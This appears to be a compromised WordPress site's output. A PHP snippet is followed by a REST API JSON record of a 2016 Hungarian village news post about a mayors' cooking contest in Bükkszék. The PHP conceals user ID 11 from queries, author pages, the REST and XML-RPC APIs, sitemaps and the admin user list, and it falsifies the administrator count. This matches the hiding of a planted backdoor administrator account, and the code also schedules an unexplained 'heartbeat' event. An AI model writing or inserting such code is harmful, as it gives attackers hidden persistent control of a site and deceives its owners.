add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 11;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 11 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 11 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 11;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 11;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 11;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/11(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 11;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-11{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
{"id":277,"date":"2016-06-13T07:25:42","date_gmt":"2016-06-13T07:25:42","guid":{"rendered":"http:\/\/www.bukkszek.hu\/2015\/?p=277"},"modified":"2016-06-13T07:25:42","modified_gmt":"2016-06-13T07:25:42","slug":"xii-alkalommal-foznek-a-polgarmesterek-bukkszeken","status":"publish","type":"post","link":"http:\/\/www.bukkszek.hu\/2015\/2016\/06\/13\/xii-alkalommal-foznek-a-polgarmesterek-bukkszeken\/","title":{"rendered":"XII. alkalommal f\u00f6znek a polg\u00e1rmesterek B\u00fckksz\u00e9ken"},"content":{"rendered":"<p style=\"text-align: center;\">XII. POLG\u00c1RMESTEREK BOGR\u00c1CSF\u0150Z\u0150 VERSENYE B\u00dcKKSZ\u00c9K<br \/>\n2016. j\u00fanius 25. (szombat) \u00d3voda el\u0151tti parkol\u00f3ban<\/p>\n<p style=\"text-align: center;\">07 \u00f3r\u00e1t\u00f3l: \u00c9rkez\u00e9s, f\u0151z\u0151helyek elfoglal\u00e1sa<br \/>\n10 \u00f3r\u00e1t\u00f3l: Polg\u00e1rmesterek regisztr\u00e1ci\u00f3ja az \u00f3vod\u00e1n\u00e1l<br \/>\n11 \u00f3rakor: A verseny hivatalos megnyit\u00f3ja<br \/>\n11:30-t\u00f3l: Kultur\u00e1lis m\u0171sorok a sz\u00ednpadon<br \/>\n12 \u00f3r\u00e1t\u00f3l: Zs\u0171riz\u00e9s. Bogr\u00e1csban k\u00e9sz\u00fclt \u00e9telek k\u00f3stol\u00e1sa a vend\u00e9gek sz\u00e1m\u00e1ra.<br \/>\n14:00-kor: Ko\u00f3s J\u00e1nos m\u0171sora<br \/>\n15 \u00f3rakor: Eredm\u00e9nyhirdet\u00e9s a sz\u00ednpadn\u00e1l<br \/>\n17 \u00f3rakor: Tombola sorsol\u00e1s<br \/>\n18:00 \u00f3r\u00e1t\u00f3l: Utcab\u00e1l a verseny helysz\u00edn\u00e9n<br \/>\n20 \u00f3r\u00e1t\u00f3l: De\u00e1k-Bill Gyula koncertje<\/p>\n<p style=\"text-align: center;\">k\u00e9zm\u0171ves kirakod\u00f3v\u00e1s\u00e1r magyar term\u00e9kekb\u0151l eg\u00e9sz nap gyermekprogramok<\/p>\n<p style=\"text-align: center;\">10 \u00f3r\u00e1t\u00f3l a Faluh\u00e1zban ki\u00e1ll\u00edt\u00e1sok tekinthet\u0151k meg.<\/p>\n<p style=\"text-align: center;\"><strong>Mindenkit szeretettel v\u00e1rnak a szervez\u0151k!<\/strong><\/p>\n<p style=\"text-align: center;\"><a href=\"http:\/\/www.bukkszek.hu\/2015\/wp-content\/uploads\/2016\/06\/Nagy-plak\u00e1t.pdf\">Nagy plak\u00e1t<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>XII. POLG\u00c1RMESTEREK BOGR\u00c1CSF\u0150Z\u0150 VERSENYE B\u00dcKKSZ\u00c9K 2016. j\u00fanius 25. (szombat) \u00d3voda el\u0151tti parkol\u00f3ban 07 \u00f3r\u00e1t\u00f3l: \u00c9rkez\u00e9s, f\u0151z\u0151helyek elfoglal\u00e1sa 10 \u00f3r\u00e1t\u00f3l: Polg\u00e1rmesterek regisztr\u00e1ci\u00f3ja az \u00f3vod\u00e1n\u00e1l 11 \u00f3rakor: A verseny hivatalos megnyit\u00f3ja 11:30-t\u00f3l: Kultur\u00e1lis m\u0171sorok a sz\u00ednpadon&#46;&#46;&#46;<\/p>\n","protected":false},"author":1,"featured_media":281,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-277","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-hirek"],"_links":{"self":[{"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/posts\/277","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/comments?post=277"}],"version-history":[{"count":3,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/posts\/277\/revisions"}],"predecessor-version":[{"id":282,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/posts\/277\/revisions\/282"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/media\/281"}],"wp:attachment":[{"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/media?parent=277"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/categories?post=277"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/tags?post=277"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}